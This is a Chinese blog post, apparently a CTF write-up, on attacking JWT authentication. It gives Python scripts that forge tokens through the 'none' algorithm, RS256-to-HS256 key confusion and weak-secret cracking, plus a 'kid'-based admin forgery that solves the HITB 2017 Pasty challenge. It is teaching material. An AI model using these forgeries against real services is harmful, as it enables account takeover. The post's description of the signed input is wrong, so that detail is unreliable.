0x01 JWT工作流程

JSON Web Token(JWT)是一个非常轻巧的规范。

这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制

以20170824 HITB的一道Web题Pasty为例,这题的功能很简单,下面看一下JWT的工作流程

注册


登录


登录时返回的数据如下


eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

登录后访问数据(GET)


可以看JWT被带到了HTTP Header中(前端的工作)

登录后提交数据(POST)


可以看到JWT其实是被当做身份认证信息携带的,另外JWT常被前端代码存储于localstorge中

携带了JWT的HTTP Header:

Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw

0x02 JWT的格式

JWT的格式非常简单

JWT的数据分为三个部分: headers , payloads,signature(签名)

三者通过.分割,均采用base64UrlEncode

function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

如上一节中的JWT数据

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

其三个部分为

header

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解码后为:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

headers中包含了关于JWT的配置信息,如签名算法(alg),类型(JWT),kid表示算法所使用的密钥文件(当服务端需要多个密钥文件时使用)

payloads

eyJzdWIiOiJkdWJoZTEyMyJ9
解码后为:{"sub":"dubhe123"}

payload中存储一些用户数据,比如用户名(dubhe123)

payload中也有一些JWT标准定义的字段,用户可选择使用

{
"iss": "John Wu JWT",
"iat": 1441593502,
"exp": 1441594722,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"username": "A"
}

这几个字段的含义如下,其中需要注意的字段是exp,这字段可在一定程度上被用来防止重放攻击

iss: 该JWT的签发者

sub: 该JWT所面向的用户

aud: 接收该JWT的一方

exp(expires): 什么时候过期,这里是一个Unix时间戳

iat(issued at): 在什么时候签发的

signature

signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

因为header和payload是明文存储的,所以签名是为了防止数据被修改的,提供了对数据的交易功能

签名常使用RS256(RSA 非对称加密,使用私钥签名)、HS256(HMAC SHA256 对称加密)算法,签名对象为base64UrlEncode(headers) + '.' + base64UrlEncode('signature')

0x03 攻击JWT

1. 敏感信息泄露

很明显的一点,因为payload是明文传输的,所以如果payload中存在敏感信息就会出现信息泄露

2. 修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可

这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下

import jwt
import base64 # 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"} # 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}} def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '') # 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下

3. 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

算法HS256使用秘密密钥对每条消息进行签名和验证。

算法RS256使用私钥对消息进行签名,并使用公钥进行验证。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。

同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

该例子解法如下

import jwt

# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"} # eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}} public = open('public.pem.1', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

结果如下(验证通过):

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,可以直接暴力破解,如PyJWT库样例代码中使用secret字符串当做密钥

那么暴力猜解密钥,当密钥正确则解密成功,密钥错误解密代码抛出异常

可使用PyJWT或 John Ripper进行破解测试

附: 相关工具

PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt >>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg' >>> jwt.decode(encoded, 'secret', algorithms=['HS256']) {'some': 'payload'}

0x04 实例:2017 HITB Pasty

http://47.74.147.52:20012/

该Web应用JWT使用RS256算法,公钥文件存放在http://47.74.147.52:20012/keys/ 目录(根据kid的值猜测得出的)

尝试将算法设置为none和将算法替换为HS256,但是均未通过服务端验证

所以JWT应该还是使用RS256算法。

该Web应用的场景为用户可以自己创建Pasty,并提供了下载文本格式的Pasty的功能。

下载链接为 http://47.74.147.52:20012/api/paste/(pasty_id )?raw

http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw

所以可以新建一个Pasty,内容为我们自己生成的公钥

然后使用python JWT库编写代码,使用我们生成的私钥对我们构造的admin的数据进行签名

其中kid为api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=

import jwt

private = open('key.pem', 'r').read()

print jwt.encode({"sub":"admin"}, key=private, \
headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')

使用私钥进行签名的时候发现jwt库会抛出异常,这里直接将库中的异常处理代码注释掉即可

使用构造好的JWT访问 /api/paste获得admin的Pasty ID

访问admin的Pasty,获得Flag

0x05 参考

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html

Hacking JWT(JSON Web Token)的更多相关文章

  1. Java JWT: JSON Web Token

    Java JWT: JSON Web Token for Java and Android JJWT aims to be the easiest to use and understand libr ...

  2. 如何在SpringBoot中集成JWT(JSON Web Token)鉴权

    这篇博客主要是简单介绍了一下什么是JWT,以及如何在Spring Boot项目中使用JWT(JSON Web Token). 1.关于JWT 1.1 什么是JWT 老生常谈的开头,我们要用这样一种工具 ...

  3. JWT(JSON Web Token) 【转载】

    JWT(JSON Web Token) 什么叫JWTJSON Web Token(JWT)是目前最流行的跨域身份验证解决方案. 一般来说,互联网用户认证是这样子的. 1.用户向服务器发送用户名和密码. ...

  4. [更新]一份包含: 采用RSA JWT(Json Web Token, RSA加密)的OAUTH2.0,HTTP BASIC,本地数据库验证,Windows域验证,单点登录的Spring Security配置文件

    没有任何注释,表怪我(¬_¬) 更新: 2016.05.29: 将AuthorizationServer和ResourceServer分开配置 2016.05.29: Token获取采用Http Ba ...

  5. ( 转 ) 什么是 JWT -- JSON WEB TOKEN

    什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点 ...

  6. 关于JWT(Json Web Token)的思考及使用心得

    什么是JWT? JWT(Json Web Token)是一个开放的数据交换验证标准rfc7519(php 后端实现JWT认证方法一般用来做轻量级的API鉴权.由于许多API接口设计是遵循无状态的(比如 ...

  7. 什么是JWT(Json Web Token)

    什么是 JWT (Json Web Token) 用户认证是计算机安全领域一个永恒的热点话题. JWT 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519). 该to ...

  8. API安全验证之JWT(JSON WEB TOKEN) OLCMS

    假如www.olcms.com/getUserInfo获取用户信息,你怎么知道当前用户是谁?有人说登陆时候我把他UID写入session了,如果是API接口,没有session怎么办,那么就需要把UI ...

  9. 5分钟搞懂:JWT(Json Web Token)

    https://www.qikegu.com/easy-understanding/892 JWT 基于token的用户认证原理:让用户输入账号和密码,认证通过后获得一个token(令牌),在toke ...

随机推荐

  1. 文件的默认权限UMASK

    当进入Linux系统后新创建的文件或者文件夹总是会有一个默认的权限,那么这个权限是如何设置的呢? umask就是设置文件与目录的默认权限 1. 查看umask 直接查看, [root@centos6 ...

  2. 实验楼 1. k-近邻算法实现手写数字识别系统--《机器学习实战 》

    首先看看一些关键词:K-NN算法,训练集,测试集,特征(空间),标签 举实验楼中的样例,通俗的讲讲K-NN算法:电影有两个分类(标签)-动作片-爱情片.两个特征--打斗场面--亲吻画面. 将那些数字和 ...

  3. vue.js使用props在父子组件之间传参

    本篇文章是我参考官方文档整理的,供大家参考,高手勿喷! prop 组件实例的作用域是孤立的.这意味着不能 (也不应该) 在子组件的模板内直接引用父组件的数据.要让子组件使用父组件的数据,我们需要通过子 ...

  4. 【echart】学习笔记

    1.  x 轴 y轴 的max  min 只能为5的倍数 2.

  5. 白话ASP.NET MVC之一:Url 路由

    好久没有写关于ASP.NET MVC的东西了,虽然<ASP.NET MVC4框架揭秘>已经完完整整的看完一遍,但是感觉和一锅粥差不多,没什么可写的,因为我自己不理解,也就写不出来.现在开始 ...

  6. C#控制台应用程序之旅游资源与线路管理系统

    利用C#语言及SQL Server数据库编写的一个简化版旅游资源与线路管理系统 数据库中包含三张表:hotel表.tourist_spot表.lines表 用户分为管理员和普通用户,管理员拥有最高权限 ...

  7. HashMap 源码解读

    HashMap在JDK1.7和1.8中有了很大的改变,空闲时间对HashMap做了一点点的研究. HashMap是一种数组和链表结合的数据结构,我们每次new一个HashMap时,都会构造出一个长度为 ...

  8. Qt5.8以上版本编译Oracle数据库的OCI驱动教程

    在前一篇的文章中我已经发过一个相似的文章,详情请点击:Qt5编译oracle驱动教程. 在那一篇文章中已经可以解决了Qt5的常用版本的Oracle数据库驱动的支持,但是在新的Qt开发工具中那种方法竟然 ...

  9. [算法题] Remove Element

    题目内容 本题来源:LeetCode Given an array and a value, remove all instances of that value in place and retur ...

  10. 【leetcode】147. Insertion Sort List

    Sort a linked list using insertion sort. 链表的插入排序. 需要创建一个虚拟节点.注意点就是不要节点之间断了. class Solution { public: ...